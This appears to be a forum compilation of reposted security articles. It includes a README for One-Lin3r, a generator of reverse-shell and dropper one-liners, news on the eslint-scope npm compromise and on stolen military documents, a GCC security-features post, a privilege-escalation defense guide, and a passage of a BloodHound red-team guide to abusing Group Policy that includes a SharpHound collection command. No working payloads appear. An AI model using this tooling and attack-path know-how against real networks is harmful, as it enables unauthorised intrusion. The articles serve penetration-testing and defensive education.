One-Lin3r One-Lin3r is simple and light-weight framework inspired by the web-delivery module in Metasploit. It consists of various one-liners that aids in penetration testing operations: Reverser: Give it IP & port and it returns a reverse shell liner ready for copy & paste. Dropper: Give it an uploaded-backdoor URL and it returns a download-&-execute liner ready for copy & paste. Other: Holds liners with general purpose to help in penetration testing (ex: Mimikatz, Powerup, etc...) on the trending OSes (Windows, Linux, and macOS) "More OSes can be added too". Features Search for any one-liner in the database by its full name or partially. You can add your own liners by following these steps to create a ".liner" file.Also you can send it to me directly and it will be added in the framework and credited with your name 😄. Autocomplete any framework command and recommendations in case of typos (in case you love hacking like movies 😆). Command line arguments can be used to give the framework a resource file to load and execute for automation. The ability to reload the database if you added any liner without restarting the framework. You can add any platform to the payloads database just by making a folder in payloads folder and creating a ".liner" file there. More... The payloads database is not big now because this the first edition but it will get bigger with updates and contributions. Screenshots (Not updated) Usage Commandline arguments usage: one-lin3r [-h] [-r R] [-x X] [-q] optional arguments: -h, --help show this help message and exit -r Execute a resource file (history file). -x Execute a specific command (use ; for multiples). -q Quit mode (no banner). Framework commands Command Description -------- ------------- help/? Show this help menu list/show List payloads you can use in the attack. search <Keyword> Search payloads for a specific one use <payload> Use an available payload info <payload> Get information about an available payload banner Display banner reload/refresh Reload the payloads database check Prints the core version and database version then check for them online. history Display command line most important history from the beginning save_history Save command line history to a file exit/quit Exit the framework Installing and requirements To make the tool work at its best you must have : Python 3.x or 2.x (preferred 3). Linux (Tested on kali rolling), Windows system, mac osx (tested on 10.11) The requirements mentioned in the next few lines. Installing +For windows : (After downloading ZIP and upzip it) python -m pip install ./One-Lin3r-master one-lin3r -h +For Linux : git clone https://github.com/D4Vinci/One-Lin3r.git apt-get install libncurses5-dev pip install ./One-Lin3r one-lin3r -h Updating the framework or the database On Linux while outside the directory cd One-Lin3r && git pull && cd .. pip install ./One-Lin3r --upgrade On Windows if you don't have git installed, redownload the framework zipped! Contact Twitter Donation If you liked my work and want to support me, you can give me a cup of coffee bitcoin address: 1f4KfYikfqHQzEAsAGxjq46GdrBKc8jrG Disclaimer One-Lin3r is created to help in penetration testing and it's not responsible for any misuse or illegal purposes. Copying a code from this tool or using it in another tool is accepted as you mention where you get it from 😄. Pull requests are always welcomed Sursa: https://github.com/D4Vinci/One-Lin3r#one-lin3r-----

GNU* Compiler Collection 8 (GCC 😎 - Transitioning to a new compiler 27 Jun, 2018 By Victor Rodriguez Bahena & filed under Maintenance Every year, the Linux* community awaits the release of a new version of the GNU* Compiler Collection. The collection includes front ends for C , C++ , Objective-C, Fortran , Ada, and Go, as well as libraries for these languages. The GCC community works hard to provide usability improvements, bug fixes, new security features, and performance improvements. The GCC 8 Release Series changes list includes a full list of changes, new features, and fixes for this release. This blog article uses code examples to show how to use the following new compiler features: Interprocedural optimization improvements Control-flow enforcement technology Changes in loop nest optimization flags Interprocedural optimization improvements As the Linux community continues to redefine the boundaries of what is possible in a Linux distribution running on new silicon, performance plays an increasingly important role in the industry. Optimizations at compile time have been playing an increasing role over the last years. Interprocedural Optimization (IPO) is an automatic, multi-step process that allows the compiler to analyze your entire code to determine where you can benefit from specific optimizations in programs containing many frequently used functions. In the new GCC 8, there are two major changes for interprocedural optimizations. The first one is reworked run-time estimation metrics, which leads to more realistic guesses driving inlining and cloning heuristics. This is an internal change on how GCC represents frequencies of basic blocks of code. In the previous GCC 7 version, it was prone to overflow. Block frequency is a relative metric that represents the number of times a block executes. The ratio of a block frequency to the entry block frequency is the expected number of times the block will execute per entry to the function. A basic block (BB) is a sequence of instructions with a single entry at the start and a single exit at the end. These blocks are linked together with the Control Flow Graph (CFG). The following figure shows a simple If statement and the corresponding CFG generated with gcc test.c -fdump-tree-all-graph which generates dot files. Figure 1. Simple If and its basic control flow graph The change made in GCC 8 to improve the accuracy basic blocks count can affect all optimizations (including Profile Guided Optimizations, inlining, and cloning heuristics). Basic block frequencies is a core component in compiler optimizations. Another important change in GCC 8 is the Interprocedural Analysis (IPA). IPA is a form of dataflow analysis between functions. As we know, GCC builds a “call graph” recording which functions call other functions. In GCC 8, the ipa-pure-const pass is extended to propagate the malloc attribute. The keyword __attribute__ allows you to specify special attributes when making a declaration. This keyword is followed by an attribute specification inside double parentheses. One of these is the malloc attribute: __attribute__((malloc)) The malloc attribute is used to inform the compiler that a function may be treated as any non-NULL pointer. Because of this, the return of the function cannot alias any other pointer valid when the function returns. In compilers, aliasing is the case where the same memory location can be accessed using different names. It is vitally important that a compiler can detect which accesses may alias each other, so that optimizations can be performed correctly. The following example shows the use of the malloc attribute: In GCC 8, the corresponding warning option Wsuggest-attribute=malloc emits a diagnostic for functions that can be annotated with the malloc attribute. $ gcc malloc.c -Wsuggest-attribute=malloc malloc.c: In function ‘foo’: malloc.c:6:8: warning: function might be candidate for attribute ‘malloc’ if it is known to return normally [-Wsuggest-attribute=malloc] void * foo(int size){ ^~~ When we enable the __attribute__((malloc)), the code looks like the following example: After this, the following compilation command line works without warnings: $ gcc malloc.c -Wsuggest-attribute=malloc As we have seen, Interprocedural Optimization (IPO) allows the compiler to analyze your entire code and propose optimizations. The improvements that GCC 8 has done on this technology will play an important role on the performance of end user's applications. Control-flow enforcement technology Another important section for compilers is security. One of the attacks that GCC 8 helps to prevent are Return Oriented Programming (ROP ) and call/jmp-oriented programming (COP/JOP). These attack methods have the following common elements: Diverting the control flow instruction (e.g. RET, CALL, JMP) from its original target address to a new target (via modification in the data stack or in the register). Attackers set a code module with execution privilege and contain small snippets of code sequence. This sequence has the characteristic that at least one instruction in the sequence is a control transfer instruction that depends on data either in the return stack or in a register for the target address. GCC 8 introduces a new option -fcf-protection =[full | branch | return | none] that performs code instrumentation to increase program security. When used, the fcf-protection option checks that target addresses of control-flow transfer instructions (such as indirect function call, function return, indirect jump) are valid. The new fcf-protection option option enables support for the Control-Flow Enforcement Technology (CET) feature in future Intel CPUs by enabling instrumentation of control-flow transfers to increase program security. The fcf-protection option checks for valid target addresses of control-flow transfer instructions (such as indirect function call, function return, and indirect jump). For example, the instruction at the target of an indirect jump must be an ENDBRANCH instruction , a particular form of NOP. This prevents diverting the flow of control to an unexpected target. As an additional protection, the Clear Linux project provides the option: mzero-caller-saved-regs =[skip | used | all]. This option clears caller-saved general registers upon function return. This is intended to make threats such as ROP, COP, and JOP attacks much harder. Changes in loop nest optimization flags There are a few changes in the optimization flags for GCC 8. The floop-interchange flag applies a classical loop nest optimization and is enabled by default at -O3 optimization level and above. Consider the following code: int k[1000, 100]; for (int y = 0; y < 100; y++) for (int x = 0; x < 1000; x++) k[x,y]=x*y; In C, arrays are stored in row major order. At the beginning of our sample code execution, when the processor accesses an array element for the first time, it retrieves an entire cached line of data from main memory to the cache memory. If the rest of the data will be used soon, this is a major performance boost. If on the other hand, the rest of the data is not used, this is a net performance loss. If the array is accessed incorrectly, we will see this loss. When the floop-interchange flag is used, this code is transformed to: for (int x = 0; x < 1000; x++) for (int y = 0; y < 100; y++) k[x,y] = x*y; In this example, the floop-interchange flag exchanges the loops so the array is accessed in the optimal order, because the variable used in the inner loop switches to the outer loop. We can see this in the transformed code, where it accesses k[0,0], k[0,1], … k[0, 99], k[1,0] …k[999, 99] rather than k[0,0], k[1,0], k[ 2,0] … k[999,0], k[0, 1] … k[999, 99]. The memory controller is optimized for consecutive memory locations. In this scenario, the transformed code accesses memory consecutively instead of reading widely differing locations. Conclusion The Linux community continues to redefine the boundaries of what is possible in a Linux distribution running on new silicon. Both performance and security play an increasingly important role in the industry. In the Clear Linux Project for Intel Architecture, we decided to use and improve the latest GCC compiler technology to boost the performance and security of a Linux-based system for open source developers. We encourage users to employ the latest technologies that can improve applications for customers by boosting their performance and also providing a more robust layer of protection against security attacks. Sursa: https://clearlinux.org/blogs/gnu-compiler-collection-8-gcc-8-transitioning-new-compiler

By Catalin Cimpanu July 11, 2018 04:07 AM 0 A hacker is selling sensitive military documents on online hacking forums, a security firm has discovered. Some of the sensitive documents put up for sale include maintenance course books for servicing MQ-9 Reaper drones, various training manuals describing comment deployment tactics for improvised explosive device (IED), an M1 ABRAMS tank operation manual, a crewman training and survival manual, and a document detailing tank platoon tactics. Hacker asking between $150 and $200 for the lot US-based threat intelligence firm Recorded Future discovered the documents for sale online. They say the hacker was selling the data for a price between $150 and $200, which is a very low asking price for such data. Recorded Future says it engaged the hacker online and discovered that he used Shodan to hunt down specific types of Netgear routers that use a known default FTP password. The hacker used this FTP password to gain access to some of these routers, some of which were located in military facilities, he said. Based on the documents and details he shared online and with researchers in private conversations, one such location was the 432d Aircraft Maintenance Squadron Reaper AMU OIC, stationed at the Creech AFB in Nevada. Here, he used access to the router to pivot inside the base's network and gain access to a captain's computer, from where he stole the MQ-9 Reaper manual and a list of airmen assigned to Reaper AMU. MQ-9 Reaper drones are some of the most advanced drones around and are used by the US Air Force, the Navy, the CIA, the Customs and Border Protection Agency, NASA, and the militaries of other countries. The hacker didn't reveal from where he stole the other documents, but based on the information they contain experts believe that they were most likely taken from the Pentagon or from a US Army official. "While such course books are not classified materials on their own, in unfriendly hands, they could provide an adversary the ability to assess technical capabilities and weaknesses in one of the most technologically advanced aircrafts," Andrei Barysevich, Director of Advanced Collection at Recorded Future said. Incident caused by use of router default FTP credentials The incident could have very easily been prevented if the military base's IT team would have followed best practices and changed the router's default FTP credentials.. The issue with Netgear routers using a set of default FTP credentials is known since 2016 when a security researcher raised the alarm about it. Netgear responded by putting up a support page with information on how users could change their routers' default FTP password. Recorded Future said that at the time of writing, there are more than 4,000 such routers (Netgear Nighthawk R7000) available online via "smart device" search engines like Shodan. The hacker also bragged about accessing footage from an MQ-1 Predator flying over Choctawhatchee Bay in the Gulf of Mexico. This isn't something new, though, as the US government agencies have been known to leak those feeds once in a while. Recorded Future said it reported the finding to US authorities, which are now investigating the hacks. Researchers hinted at also discovering the hacker's country of origin, albeit they did not make the information public. Image source: Wikimedia Foundation, Recorded Future Sursa: https://www.bleepingcomputer.com/news/security/hacker-steals-military-docs-because-someone-didn-t-change-a-default-ftp-password/

By Catalin Cimpanu July 12, 2018 12:10 PM 0 A hacker has gained access to a developer's npm account and injected malicious code into a popular JavaScript library, code that was designed to steal the npm credentials of users who utilize the poisoned package inside their projects. The JavaScript (npm) package that got compromised is called eslint-scope, a sub-module of the more famous ESLint, a JavaScript code analysis toolkit. Hacker gained access to a developer's npm account The hack took place on the night between July 11 and 12, according to the results of a preliminary investigation posted on GitHub a few hours ago. "One of our maintainers did observe that a new npm token was generated overnight (said maintainer was asleep)," said Kevin Partington, ESLint project member. Partington believes the hacker used the newly-generated npm token to authenticate and push a new version of the eslint-scope library on the npm repository of JavaScript packages. The malicious version was eslint-scope 3.7.2, which the maintainers of the npm repository have recently taken offline. Malicious code steals npm credentials "The published code seems to steal npm credentials, so we do recommend that anyone who might have installed this version change their npm password and (if possible) revoke their npm tokens and generate new ones," Partington recommended for developers who used esling-scope. In an email to Bleeping Computer, npm CTO C.J. Silverio put the incident into perspective. "We determined that access tokens for approximately 4,500 accounts could have been obtained before we acted to close this vulnerability. However, we have not found evidence that any tokens were actually obtained or used to access any npmjs.com account during this window," Silverio said. "As a precautionary measure, npm has revoked every access token that had been created prior to 2:30 pm UTC (7:30 am California time) today. This measure requires every registered npm user to re-authenticate to npmjs.com and generate new access tokens, but it ensures that there is no way for this morning’s vulnerability to persist or spread. We are additionally conducting a full forensic analysis to confirm that no other accounts were accessed or used to publish unauthorized code. "This morning’s incident did not happen because of an npmjs.com breach, but because of a breach elsewhere that exposed a publisher’s npm credentials. To mitigate this risk, we encourage every npmjs.com user to enable two-factor authentication, with which this morning’s incident would have been impossible," Silverio added. The developer who had his account compromise has changed his npm password, enabled two-factor authentication, and generated new tokens to access his existing npm libraries. The incident is of great importance because the stolen npm credentials can be used in a similar manner to what happened now. The hacker can use any of the stolen npm credentials to poison other JavaScript libraries that are made available via npm — a.k.a. the Node Package Manager, the semi-official package manager for the JavaScript ecosystem. Similar incidents have happened in the past year This is the third incident in the past year when a hacker has inserted malicious code in an npm package. The first such incident happened in August 2017 when the npm team removed 38 JavaScript npm packages that were caught stealing environment variables from infected projects. In May 2018, someone tried to hide a backdoor in another popular npm package named getcookies. Similar incidents with malware ending up in package repositories have happened with Python's PyPI [1, 2], Docker Hub, Arch Linux AUR, and the Ubuntu Store. UPDATE July 13, 02:45 AM ET: The ESLint team has published the final results of their investigation. They say that besides the esling-scope 3.7.3 package, the attacker also compromised another package, eslint-config-eslint, pushing out a malicious module eslint-config-eslint 5.0. Article updated with comments from npm CTO C.J. Silverio. Sursa: https://www.bleepingcomputer.com/news/security/compromised-javascript-package-caught-stealing-npm-credentials/

OWASP Bucharest AppSec Conference 2018 - October 25th - 26th OWASP Bucharest team is happy to announce the OWASP Bucharest AppSec Conference 2018 a two days Security and Hacking Conference with additional training days dedicated to the application security. It will take place between 25th and 26th of October, 2018 - Bucharest, Romania. The objective of the OWASP's Bucharest AppSec Conference is to raise awareness about application security and to bring high-quality security content provided by renowned professionals in the European region. Everyone is free to participate in OWASP and all our materials are available under a free and open software license. Call for papers is now open! Please submit here your talk proposal Call for trainings is now open! Please submit here your training proposal Important dates Call for papers deadline: 24th of September Call for trainings deadline 24th of September The final agenda will be published after 1st of October 2018 CTF qualifiers will be on 29th of September CTF final will be on 25th of September Conference trainings and CTF day is 25th of October 2018 Conference presentation tracks and workshops day is 26th of October 2018 Who Should Attend? Application Developers Application Testers and Quality Assurance Application Project Management and Staff Chief Information Officers, Chief Information Security Officers, Chief Technology Officers, Deputies, Associates and Staff Chief Financial Officers, Auditors, and Staff Responsible for IT Security Oversight and Compliance Security Managers and Staff Executives, Managers, and Staff Responsible for IT Security Governance IT Professionals interested in improving IT Security Anyone interested in learning about or promoting Web Application Security CONFERENCE (Friday 26th of October) Date Location Friday 26th of October, 8.00 AM Venue Location: Hotel Caro Workshops: Hotel Caro Venue Address: 164A Barbu Vacarescu Blvd. 2nd District, 020285 Bucharest, Romania Price and registration The conference entrance is FREE, you need to register on the link provided below, print your ticket and present it at the entrance. The training sessions will be paid. The workshops and CTF attendance is free of charge Registration Limited number of seats! Detalii: https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2018

Understanding Linux Privilege Escalation and Defending Against It Table of Contents What is Linux privilege escalation? How to escalate privileges? It is all about enumeration Linux enumeration Exploiting the weakness How an attacker exploits software Example of a privilege escalation attack How do you defend against privilege escalation? Reduce the information leaked by applications Remove compilers or restrict access to them Apply Linux updates and patches Run file integrity monitoring software Perform system auditing Privilege escalation checkers Conclusion What is Linux privilege escalation? Privilege escalation is the process of elevating your permission level, by switching from one user to another one and gain more privileges. For example, a normal user on Linux can become root or get the same permissions as root. This can be authorized usage, with the use of the su or sudo command. It can also be unauthorized, for example when an attacker leverages a software bug. Especially this last category of privilege escalations is interesting to understand, so we can better defend our Linux systems. How to escalate privileges? Attackers who try to obtain additional privileges, often use so-called exploits. Exploits are pieces of code with the goal to release a particular payload. The payload will focus on a known weakness in the operating system or running software components. This may result in the software crashing or giving access to unexpected areas of the memory. By overwriting segments of memory and executing special crafted (shell) code, one may gain a successful privilege escalation. These are the steps an attacker usually takes: Find a vulnerability Create the related exploit Use the exploit on a system Check if it successfully exploits the system Gain additional privileges It is all about enumeration The first step is to find a weakness or vulnerability in the system. To learn about any weaknesses you have to know what operating system and version is used. This is done with a process that is called enumeration. Within this process, you try to learn as much as possible about a network and its systems. Attackers find more information by using Google, port scanning, and study the responses of requests from applications. With each step, more information becomes available. A similar approach is taken by penetration testers (pentesters), attackers with a legal contract to do so. During this enumeration phase, the attacker can also determine if there are any compilers are available. If not, then there might any high-level programming languages like Perl or Python instead. This information is useful for a later stage, in which exploit code is used. As part of enumeration, a lot of data will be collected. Every finding has to be stored, so it can be stored and processed later. Each piece of information can be used to search for known vulnerabilities, or other entries into the system. For example, when Apache is used, and the version number is listed, we can search for known vulnerabilities for that particular version. Linux enumeration For most operating systems and applications there are dedicated tools to help. Linux enumeration tools focus specifically on retrieving data from several key areas. These include directories that store the system configuration or its status, like /etc and /proc. There are several system administration tools available that will retrieve network details, file locations, or the system version. Example include: /etc /proc ifconfig lsof netstat uname Exploiting the weakness Next stage is about exploiting any weaknesses found. Sometimes ready-to-use code can be executed against the target, resulting in some level of access. Your WordPress installation (or a plugin) might be outdated, which may give an external visitor the permissions to upload files. The attacker can use this to plant a custom PHP script, to collect more information from the system. This is done by using specific PHP functions, like system(), to execute commands on the system itself. How an attacker exploits software The exploit process may take different steps before the right level of access is gained. Just being able to upload a file might be harmless to the system. So with every step, the attacker tries to retrieve more information and adjusting any required exploit. Sometimes a vulnerability might be there, but not exploitable. This can be due to additional defense layers (e.g. memory randomizing). The attacker has to adapt to the specifics of the machine. Example of a privilege escalation attack To show how an attacker may become root, let’s have a look at an example. Let’s assume the following: we have a Linux system running CentOS, with Apache and a WordPress website on it. Like most WordPress installations, it has several plugins installed. The webmaster had a busy period and did not update the plugins for a while. This is how a privilege escalation attack could go: The attacker runs an automatic script to detect this outdated plugin on many systems across the internet The automated script picks up on the presence of the plugin on the system and checks if it is version 1.2.4 The attacker verifies the finding (or weed out any false positive) Attacker manually abuses the weakness in the plugin and via that uploads a custom PHP file to the system The attacker now requests to run this PHP script, to retrieve more data on the system The output of the script finds the availability of a compiler The script also finds an outdated Linux kernel, which has a known exploit to become root for non-privileged users A small C program is uploaded via the plugin The compiler is executed to compile the specific piece of C code into a binary program The program is executed to abuse the Linux privilege escalation bug in the kernel A new user is added to the system by the attacker The attacker can now log in to the system via SSH This is just an example of how a small piece of information is used during enumeration and followed up for later processing. Then the process is repeated several times to find more details about the system until the attacker gains full root permissions. How do you defend against privilege escalation? The best way to counter Linux privilege escalations is by using the common “defense in depth” method. You apply several defenses, each targeting a specific area. If one layer of defense fails, this doesn’t necessarily mean your system can be compromised. That is obviously easier said than done, so let’s have a look in some of the measures. Reduce the information leaked by applications Most applications have an application banner. This can be a greeting message with details about the application, like its name and version number. While it may look innocent, it is better to avoid giving away too much information. Especially leaking version numbers should be prevented. Hiding the nginx version number WordPress hardening and reduce information disclosure Remove compilers or restrict access to them The presence of a compiler is not needed for most systems. Production systems should only have a compiler available when it is absolutely necessary. As attackers often need the compiler to successfully build an exploit, removing them is definitely a good step. Apply Linux updates and patches Systems often get compromised due to weaknesses in software components. There are actually multiple suggestions in this area. First of all, subscribe to mailing lists to know what kind of vulnerabilities were found recently. Next step is to run updates on a regular basis and keep your systems up-to-date. Also, apply security updates automatically when possible, like using unattended-upgrades on Debian and Ubuntu systems. Run file integrity monitoring software The best way to detect a privilege escalation or breach is by monitoring important system files. If one of them change unexpectedly, this may be an indication of a security issue. This monitoring can be achieved by file integrity monitoring (FIM) solution. Popular tools include AIDE or with the Linux audit framework (auditd). Perform system auditing Maybe the best thing one can do is running continuously security audits. For Linux systems, consider a tool like rkhunter or ClamAV to do malware scanning. Use Lynis for an in-depth security scan of the system. While Lynis is intended as a defensive tool, it actually can find things that are related to privilege escalation. Think of issues like cronjobs that are writable or showing software banners. For that reason, Lynis is also used by pentesters in their work. System auditing may actually reveal unexpected vulnerabilities that the usual vulnerability scanners could not find. Privilege escalation checkers Some tools can help you with checking if there is a privilege escalation possible. This can be a useful exercise to learn how privilege escalations work. They will also help you check if your Linux systems are vulnerable to a particular type of privilege escalation and take counter-measures. unix-privesc-check – Gather information and determine possible attacks LinEnum – Perform enumeration and check for possible Linux privilege escalation options Have a look at the privilege escalation tools on Linux Security Expert for more options and more extensive reviews. Conclusion Linux privilege escalation can happen due to one or more failing security layers. An attacker has to start doing enumeration and process the resulting data. He or she will continue to do testing when more information becomes available. This will repeat until one of the security defenses gets penetrated. Applying proper security defenses is your first safeguard against these attacks. They get much stronger if all defenses are in place, like minimizing the data you share, applying security updates, and monitoring the systems. Sursa: https://linux-audit.com/understanding-linux-privilege-escalation-and-defending-against-it/

A Red Teamer’s Guide to GPOs and OUs April 2, 2018 / 2 Comments Intro Active Directory is a vast, complicated landscape comprised of users, computers, and groups, and the complex, intertwining permissions and privileges that connect them. The initial release of BloodHound focused on the concept of derivative local admin, then BloodHound 1.3 introduced ACL-based attack paths. Now, with the release of BloodHound 1.5, pentesters and red-teamers can easily find attack paths that include abusing control of Group Policy, and the objects that those Group Policies effectively apply to. In this blog post, I’ll recap how GPO (Group Policy Object) enforcement works, how to use BloodHound to find GPO-control based attack paths, and explain a few ways to execute those attacks. Prior Work Lucas Bouillot and Emmanuel Gras included GPO control and OU structure in their seminal work, “Chemins de contrôle en environnement Active Directory”. They used an attack graph to map which principals could take control of GPOs, and which OUs those GPOs applied to, then chased that down to the objects affected by those GPOs. We learned a lot from Lucas and Emannuel’s white paper (in French), and I’d highly recommend you read it as well. There are several important authors and resources we leaned on when figuring out how GPO works, in no particular order: the Microsoft Group Policy team’s posts on TechNet, Sean Metcalf’s work at adsecurity.org, 14-time Microsoft MVP “GPO Guy” Darren Mar-Elia, Microsoft’s Group Policy functional specification, and last but certainly not least, Will Schroeder’s seminal blog post on Abusing GPO Permissions. Special extra thanks to Darren Mar-Elia for answering a lot of my questions about Group Policy. Thanks, Darren! Other resources and references are linked at the bottom of this blog post. The Moving Parts of Group Policy There’s no two ways about it: GPO enforcement is a complicated beast with a lot of moving parts. With that said, let’s start at the very basics with the vocabulary used in the rest of the post, and build up to explaining how those moving parts interact with one another: GPO: A Group Policy Object. When an Active Directory domain is first created, two GPOs are created as well: “Default Domain Policy” and “Default Domain Controllers”. GPOs contain sets of policies that affect computers and users. For example, you can use a GPO policy to control the Windows desktop background on computers. GPOs are visible in the Group Policy Management GUI here: Above: The list of GPOs in our test domain. Technically, “Default Domain Controllers Policy” is the display name of the GPO, while the name of the GPO is a GPO curly braced “GUID”. I put “GUID” in quotation marks because this identifier is not actually globally unique. The “Default Domain Controllers Policy” in every Active Directory domain will have the same “name” (read: curly braced GUID): {6AC1786C-016F-11D2-945F-00C04fB984F9}. For this reason, GPOs have an additional parameter called objectguid, which actually is globally unique. The policy files for any given GPO reside in the domain SYSVOL at the policy’s gpcfilesyspath (ex: \\contoso.local\sysvol\contoso.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}). Above: The relevant properties of the “Default Domain Controllers Policy” GPO, and that GPO’s policy files location in the SYSVOL. OU: An Organizational Unit. According to Microsoft’s TechNet, OUs are “general-purpose container that can be used to group most other object classes together for administrative purposes”. Basically, OUs are containers that you place principals (users, groups, and computers) into. Organizations will commonly use OUs to organize principals based on department and/or geographic location. Additionally, OUs can of course by nested within other OUs. This usually results in a relatively complex OU tree structure within a domain, which can be difficult to navigate without first being very familiar with the tree. You can see OUs in the ADUC (Active Directory Users and Computers) GUI. In the below screenshot, “ContosoUsers” is a child OU of the CONTOSO.LOCAL domain, “Helpdesk” is a child OU within the “ContosoUsers” OU, and “Alice Admin” is a child user of the “Helpdesk” OU: Above: The Alice Admin user within the OU tree. GpLink: A Group Policy Link. GPOs can be “linked” to domains, sites, and OUs. By default, a GPO that is linked to an OU will apply to the child objects of that OU. For example, the “Default Domain Policy” GPO is linked, by default, to the domain object, while the “Default Domain Controllers Policy” is linked, by default, to the Domain Controllers OU. In the below screenshot, you can see that if we expand the “contoso.local” domain and the “Domain Controllers” OU, the GPOs linked to those objects appear below them: Above: The “Default Domain Policy” is linked to the domain “contoso.local”. The “Default Domain Controllers” policy is linked to the “Domain Controllers” OU. GpLinks are stored on the objects the GPO is linked to, on the attribute called “gplink”. The format of the “gplink” attribute value is [<Distinguished name of the GPO>;<0 if the link is not enforced, 1 if the link is enforced>]. You can easily enumerate those links with PowerView as in the example below: Above: The “Default Domain Controllers Policy” GPO is linked to the “Domain Controllers” OU, and is not enforced. Those three pieces — GPOs, OUs, and GpLinks — comprise the major moving parts we’re working with. It’s important to know those three pieces well before understanding GPO enforcement logic and how to use BloodHound to find attack paths, so make sure you feel confident with those before continuing on. One last note: GPOs can also be linked to sites, but at this time we’re not including that due to complications site memberships and collection challenges. GPO Enforcement Logic Now that you know the basic moving parts, let’s look more closely at how they connect. GPO enforcement logic, very briefly, works like this: GpLinks can be enforced, or not. OUs can block inheritance, or not. If a GpLink is enforced, the associated GPO will apply to the linked OU and all child objects, regardless of whether any OU in that tree blocks inheritance. If a GpLink is not enforced, the associated GPO will apply to the linked OU and all child objects, unless any OU within that tree blocks inheritance. There are further complications on top of this, which we’ll get to later on. First though, let’s visualize the above rules regarding GpLink enforcement and OUs blocking inheritance. Recall earlier I had a user called Alice Admin within a HelpDesk OU. Instead of looking at that in ADUC, though, let’s start to think about this as a graph: Above: Alice Admin within the domain/OU tree. The domain object, Contoso.Local, is a container object. It contains the OU called ContosoUsers. The OU ContosoUsers contains the OU HelpDesk. Finally, the OU HelpDesk contains the user Alice Admin. Now, let’s add our Default Domain Policy GPO into the mix. Recall from earlier that in my test domain, that GPO is linked to the domain object: Above: The “Default Domain Policy” GPO is linked to the domain object. Now, in default circumstances, you can simply read from left to right to figure out that the Default Domain Policy will apply to the user Alice Admin. The “default circumstance” here is that the GpLink relationship is not enforced, and that none of the containers in this path block inheritance. Let’s add that information to the above graph: In this circumstance, it doesn’t matter that the GpLink edge is not enforced, as none of the OUs block inheritance. In our test domain, we have another OU under ContosoUsers called “Accounting”, with one user in that OU: Bob User. For example’s sake, we’ll say that the Accounting OU does block inheritance. Let’s add that to our existing graph: Again, we can see that the Default Domain Policy GPO is linked to the domain object, and Bob User is contained within the OU tree under the domain object; however, because the OU “Accounting” blocks inheritance, and because the GpLink edge is not enforced, the Default Domain Policy will not apply to Bob User. Still with me? You’d be forgiven for being slightly confused at this point, but don’t worry, it gets worse! Let’s add another GPO to the mix and link it to the domain object as well, except this time we will enforce the GpLink: Our new GPO called “Custom Password Policy” is linked to the domain object, which again contains the entire OU tree under it. Now, because the GPLink is enforced, this policy will apply to all child objects in the OU tree, regardless of whether any of those OUs block inheritance. This means that the “Custom Password Policy” GPO will apply to both “Alice Admin” and “Bob User”, despite the “Accounting” OU blocking inheritance. In our experience, this information is going to cover 95%+ of situations you’ll run into in real enterprise networks; however, there are three more things to know about, which may impact you when abusing GPO control paths during your pentests and red team assessments: WMI filtering, security filtering, and Group Policy link order and precedence. WMI filtering allows administrators to further limit which computers and users a GPO will apply to, based on whether a certain WMI query returns True or False. For example, when a computer is processing group policy, it may run a WMI query that checks if the operating system is Windows 7, and only apply the group policy if that query returns true. See Darren Mar-Elia’s excellent blog post for further details. Security filtering allows administrators to further limit which principals a GPO will apply to. Administrators can limit the GPO to apply to specific computers, users, or the members of a specific security group. By default, every GPO applies to the “Authenticated Users” principal, which includes any principal that successfully authenticates to the domain. For more details, see this post on the TechGenix site. Group Policy link order dictates which Group Policy “wins” in the event of conflicting, non-merging policies. Imagine you have two “Password Policy” GPOs: one that requires users to change their password every 30 days, and one that requires users to change their password every 60 days. Whichever policy is higher in the precedence order is the policy that will “win”. The group policy client enforces this “win” condition by processing policies in reverse order of precedence, so the highest precedence policy is processed last, and “wins”. Luckily, you don’t need to worry about this for almost every abuse primitive. For more information, check out this blog post. Like I said above, our experience has been that in real enterprise networks, you won’t need to worry about WMI filtering, security filtering, or GpLink order in 95% or more of the situations you run into, but I mention them so you know where to start troubleshooting if your abuse actions aren’t working. We may try to roll those three items into the BloodHound interface in the future. In the meantime, make sure your target computer and user objects won’t be filtered out by WMI or security filters, or attempt to push an evil group policy that will be overruled by a higher precedence policy. Analysis with BloodHound First, make sure you are running at least BloodHound 1.5.1. Second, do your standard SharpHound collection like you always have, but this time either do the “All” or “Containers” and “ACL” collection methods, which will collect GPO ACLs and OU structure for you: C:\> SharpHound.exe -c All Then, import the resulting acls.csv, container_gplinks.csv, and container_structure.csv through the BloodHound interface like normal. Now you’re ready to start analyzing outbound and inbound GPO control against objects. For example, let’s take a look at our “Alice Admin” user. If we search for this user, then click on the user node, you’ll see some new information in the user tab, including “Effective Inbound GPOs”: Above: Two GPOs apply to Alice Admin. The Cypher query that generates this number does the GpLink enforcement and OU blocking inheritance logic for you, so you don’t need to worry about working that out yourself. Simply click on the number “2”, in this instance, to visualize the GPOs that apply to “Alice Admin”: Above: How the two GPOs apply to Alice Admin. Notice the edge connecting “Default Domain Policy” to the “Contoso.Local” domain is dotted. This means that this GPO is not enforced; however, all of the “Contains” edges are solid, meaning that none of those containers block inheritance. Recall from earlier that unenforced GpLinks will only be affected by OUs that block inheritance, so in this case, the Default Domain Policy still applies to Alice Admin. Also note that the edge connecting “Customer Password Policy” to the “Contoso.Local” domain is solid. This means that this GPO is enforced, and will therefore apply to all children objects regardless of whether any subsequent containers block inheritance. We can also see the flip side of this — what objects does any given GPO effectively apply to? First, let’s check out the Custom Password Policy GPO: Above: The Custom Password Policy GPO applies to 3 computers and 5 users. Reminder: GPOs can only apply to users and computers, not security groups. By clicking on the numbers, you can render the objects affected by this GPO, and how the GPO applies to those objects. If we click the “5” next to “User Objects”, we get this graph: Above: How the Customer Password Policy GPO applies to user objects. There are two important things to point out here: again, the edge connecting the “Custom Password Policy” GPO to the “Contoso.Local” domain object is solid, meaning this GPO is enforced. Second, notice the edge connecting the “Accounting” OU to the “Bob User” user is dotted, indicating the “Accounting” OU blocks inheritance. But, because the “Custom Password Policy” GPO is enforced, the OU blocking inheritance doesn’t matter, and will be applied to the “Bob User” user anyway. Compare the above graph to the graph we get if we do the same for the “Default Domain Policy”: Above: The users affected by the “Default Domain Policy” GPO. Notice how the “Bob User” user is no longer there? That’s because the “Default Domain Policy” GPO is not enforced. Because the “Accounting” OU blocks inheritance, that GPO will not apply to the “Bob User” user. Alright, let’s put it all together and see if we can find an attack path from “Bob User” to “Alice Admin”. In the BloodHound search bar, click the path finding icon, then select your source node and target node. Hit enter, and BloodHound will find and render an attack path, if one exists: Above: The attack path from “Bob User” to “Alice Admin”. Reading this graph from left to right, we can see that 